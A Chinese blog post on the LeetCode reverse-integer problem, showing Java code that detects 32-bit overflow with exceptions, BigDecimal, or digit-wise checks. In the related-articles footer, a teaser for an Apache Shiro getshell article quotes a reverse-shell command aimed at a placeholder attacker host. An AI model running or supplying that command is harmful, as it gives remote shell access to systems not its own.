开题报告第一版写完发给老师了,熬了两周终于搞出来了,等着被怼了之后再改吧。晚上选了Leetcode一道简单的题,整数反转,就是将一个int类型的数反转。原本确实很简单,最后出现个问题有意思——整数溢出。

溢出

题目给出的要求是给出一个 32 位的有符号整数,因此可以确定是int类型,但是32位int类型的范围是[$-2^{31}, 2^{31}-1$], -2147483648-2147483647,那么问题来了,我提交代码后,提示错误:

  1. Exception in thread "main" java.lang.NumberFormatException: For input string: "9646324351"

意思就是无法将9646324351转为int,很明显给出的原始数字是1534236469,这是一个规范的int类型数值,然而反转后9646324351很明显超过了范围。溢出了。当时我取巧了,既然是这个异常,直接在catch后return 0,机智如我,是个很人,提交,完美通过。

判断整数溢出

说到底还是需要知道怎么做判断啊,我的第一直觉是转为BigDecimal,很明显,这很方便且有效:

  1. /**
  2. * 方案二:转为BigDecimal
  3. */
  4. BigDecimal b = new BigDecimal(sb.toString());
  5. if(b.compareTo(new BigDecimal(String.valueOf(Integer.MAX_VALUE))) > 0) {
  6. // 溢出了
  7. }else{
  8. }

sb.toString()就是需要判断的字符串。

那么除了转为BigDecimal,还有什么方式呢,肯定还有啦;

整数可以看作是相应位数上的数字做如下操作,比如123

  1. 0*10 + 1 = 1
  2. 1*10 + 2 = 12
  3. 12 * 10 + 3 = 123

    每次增加10倍,并加上各位数字,因此可以在每一次sum*10+digit之前做判断。
  1. if(Integer.MAX_VALUE/10 < sum || (Integer.MAX_VALUE/10 == sum && Integer.MAX_VALUE % 10 < digit)) {
  2. // 说明溢出
  3. return true;
  4. }

完整判断代码如下:

  1. private boolean outOfRange(String str) {
  2. int length = str.length();
  3. if(length == 0){
  4. return false;
  5. }
  6. int index = 0;
  7. int sum = 0; // 记录累加结果
  8. while(index < length) {
  9. int digit = str.charAt(index) - '0';
  10. // 这里假定str是合法的字符串,不需要进行digit合法性判断
  11. if(Integer.MAX_VALUE/10 < sum || (Integer.MAX_VALUE/10 == sum && Integer.MAX_VALUE % 10 < digit)) {
  12. // 说明溢出
  13. return true;
  14. }
  15. // 说明还没有溢出
  16. sum = sum * 10 + digit;
  17. index ++;
  18. }
  19. return false;
  20. }

参数str是需要判断的字符串,这里没有处理符号位,如果有-直接去掉,按照Integer.MAX_VALUE做比较同样可以。同时函数也没有考虑str中含有不合法的数字字符,重点关注溢出嘛。

LeetCode整数反转

最后还是贴上整数反转的代码

  1. package com.jiajia.m5;
  2. import java.math.BigDecimal;
  3. /**
  4. * @ClassName: ReverseInteger
  5. * @Author: fanjiajia
  6. * @Date: 2019/5/17 下午8:00
  7. * @Version: 1.0
  8. * @Description:
  9. */
  10. public class ReverseInteger {
  11. public static void main(String[] args) {
  12. ReverseInteger r = new ReverseInteger();
  13. System.out.print(r.reverse(1534236469));
  14. }
  15. public int reverse(int x) {
  16. if(x == 0) {
  17. return 0;
  18. }
  19. char[] ch_arr = String.valueOf(x).toCharArray();
  20. StringBuilder sb = new StringBuilder();
  21. int end_index = ch_arr[0] == '-'? 1 : 0;
  22. boolean flag = ch_arr[ch_arr.length - 1] == '0'; // 最后一位为0
  23. for(int i = ch_arr.length - 1; i >= end_index; i--) {
  24. if(flag && ch_arr[i] == '0') {
  25. continue;
  26. }
  27. flag = false;
  28. sb.append(ch_arr[i]);
  29. }
  30. /**
  31. * 方案一:异常里面返回,也是够了
  32. */
  33. // int result;
  34. // try {
  35. // result = end_index == 1? -Integer.valueOf(sb.toString()) : Integer.valueOf(sb.toString());
  36. // }catch(NumberFormatException e) {
  37. // return 0;
  38. // }
  39. // return result;
  40. /**
  41. * 方案二:转为BigDecimal
  42. */
  43. // BigDecimal b = new BigDecimal(sb.toString());
  44. // if(b.compareTo(new BigDecimal(String.valueOf(Integer.MAX_VALUE))) > 0) {
  45. // return 0;
  46. // }else{
  47. // return end_index == 1? -Integer.valueOf(sb.toString()) : Integer.valueOf(sb.toString());
  48. // }
  49. /**
  50. * 方案3:做溢出判断
  51. */
  52. if(outOfRange(sb.toString())) {
  53. return 0;
  54. }else {
  55. return end_index == 1? -Integer.valueOf(sb.toString()) : Integer.valueOf(sb.toString());
  56. }
  57. }
  58. private boolean outOfRange(String str) {
  59. int length = str.length();
  60. if(length == 0){
  61. return false;
  62. }
  63. int index = 0;
  64. int sum = 0; // 记录累加结果
  65. while(index < length) {
  66. int digit = str.charAt(index) - '0';
  67. // 这里假定str是合法的字符串,不需要进行digit合法性判断
  68. if(Integer.MAX_VALUE/10 < sum || (Integer.MAX_VALUE/10 == sum && Integer.MAX_VALUE % 10 < digit)) {
  69. // 说明溢出
  70. return true;
  71. }
  72. // 说明还没有溢出
  73. sum = sum * 10 + digit;
  74. index ++;
  75. }
  76. return false;
  77. }
  78. }

有意思的是写了个溢出判断函数的效率还没有直接catch异常来得高!!!

最后

研三毕业了,羡慕!!!

此致,敬礼!!!

Java判断整数溢出的更多相关文章

  1. Java 判断整数方法

    今天写代码的时候突然想到要怎么来判断整数,然后通过判断是否是整数来处理相关的操作.开始想到了几个方法,比如百度到的 x(int) instanceof Integer,但是这样的话程序会报错,还有一个 ...

  2. java基本数据类型转换溢出问题

    java的基本数据类型有(int.byte.double.float.char.boolean.long.short):这里介绍整型数据 示例1: public class H_Z01 { publi ...

  3. java整数溢出问题及提升为long型

    整数溢出问题 Java 中的 int 用 32 位表示,正数最大值的情况,首位是 0,其他位都可以是 1(就是 2^31-1).但是如果正数过大了,例如 2^31,计算机不得不把首位变成 1,并且计算 ...

  4. Java之整数运算

    Java的整数运算遵循四则运算规则,可以使用任意嵌套的小括号.四则运算规则和初等数学一致.例如: public class Main { public static void main(String[ ...

  5. CVE-2012-0774:Adobe Reader TrueType 字体整数溢出漏洞调试分析

    0x01 TrueType 字体 TTF 字体是 Apple 和 Microsoft 两家公司共同推出的字体格式,现在已经广泛的运用于 Windows 操作系统,其中 PDF 文档也可以嵌入 TTF ...

  6. (转)java判断string变量是否是数字的六种方法小结

    java判断string变量是否是数字的六种方法小结 (2012-10-17 17:00:17) 转载▼ 标签: it 分类: 转发 1.用JAVA自带的函数 public static boolea ...

  7. CTF 两道web整数溢出题目(猫咪银行和ltshop)

    ①猫咪银行: (2018中科大hackgame) 一开始给十个CTB,而flag需要20个CTB,我们需要理财赚够20个. 理财是只能买入TDSU才可以获得收益.我们先上来直接把CTB全部换成TDSU ...

  8. CVE-2013-2551:Internet Explore VML COALineDashStyleArray 整数溢出漏洞简单调试分析

    0x01 2013 Pwn2Own 黑客大赛 在 Pwn2Own 的黑客大赛上,来自法国的 VUPEN 安全团队再一次利用 0day 漏洞攻破 Windows8 环境下的 IE10 浏览器,这一次问题 ...

  9. PWN学习之整数溢出

    目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...

随机推荐

  1. 【实战】Apache shiro<=1.2.4 getshell

    方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...

  2. UICollectionViewLayout详解,文档翻译

    实现一个UICollectionView,和UITableView类似,不过初始化的时候要传入一个UICollectionViewLayout. 苹果给UIcollectionview中的所有视图都来 ...

  3. 如何使用点击超链接的方式打开Android手机上的应用

    在Android应用的AndroidManifest.xml里加入如下的配置片段: <action android:name="my_action"/> <cat ...

  4. Redis 知识 整理

    简介 安装 启动 注意事项 使用命令 通用命令 数据结构 字符串(string) 哈希(hash) 队列(list) 集合(set) 有序集合(zset) 位图(bitcount) 事务 订阅与发布 ...

  5. nginx日志文件的配置

    文章来源 运维公会: nginx日志文件的配置 1.日志介绍 nginx有两种日志,一种是访问日志,一种是错误日志. 访问日志中记录的是客户端对服务器的所有请求. 错误日志中记录的是在访问过程中,因为 ...

  6. Computer Vision_33_SIFT:ORB_An efficient alternative to SIFT or SURF——2012

    此部分是计算机视觉部分,主要侧重在底层特征提取,视频分析,跟踪,目标检测和识别方面等方面.对于自己不太熟悉的领域比如摄像机标定和立体视觉,仅仅列出上google上引用次数比较多的文献.有一些刚刚出版的 ...

  7. Dism++备份还原系统

    使用dism++备份和还原需要下载该工具,并选择与系统对应的Dism++x64或Dism++x32运行进行操作. Dism++网络下载地址:http://www.chuyu.me/zh-Hans/in ...

  8. 用js刷剑指offer(数组中出现次数超过一半的数字)

    题目描述 数组中有一个数字出现的次数超过数组长度的一半,请找出这个数字.例如输入一个长度为9的数组{1,2,3,2,2,2,5,4,2}.由于数字2在数组中出现了5次,超过数组长度的一半,因此输出2. ...

  9. java TCP 通信:服务端与客服端

    1.首先先来看下基于TCP协议Socket服务端和客户端的通信模型: Socket通信步骤:(简单分为4步) 1.建立服务端ServerSocket和客户端Socket 2.打开连接到Socket的输 ...

  10. PL/SQL块与表达式

    一.块(Block) 是PL/SQL的基本执行单元,由定义部分,执行部分(必须)和例外处理部分组成. Declare /*定义部分――定义常量.变量.游标.例外.复杂数据类型*/ Begin /*执行 ...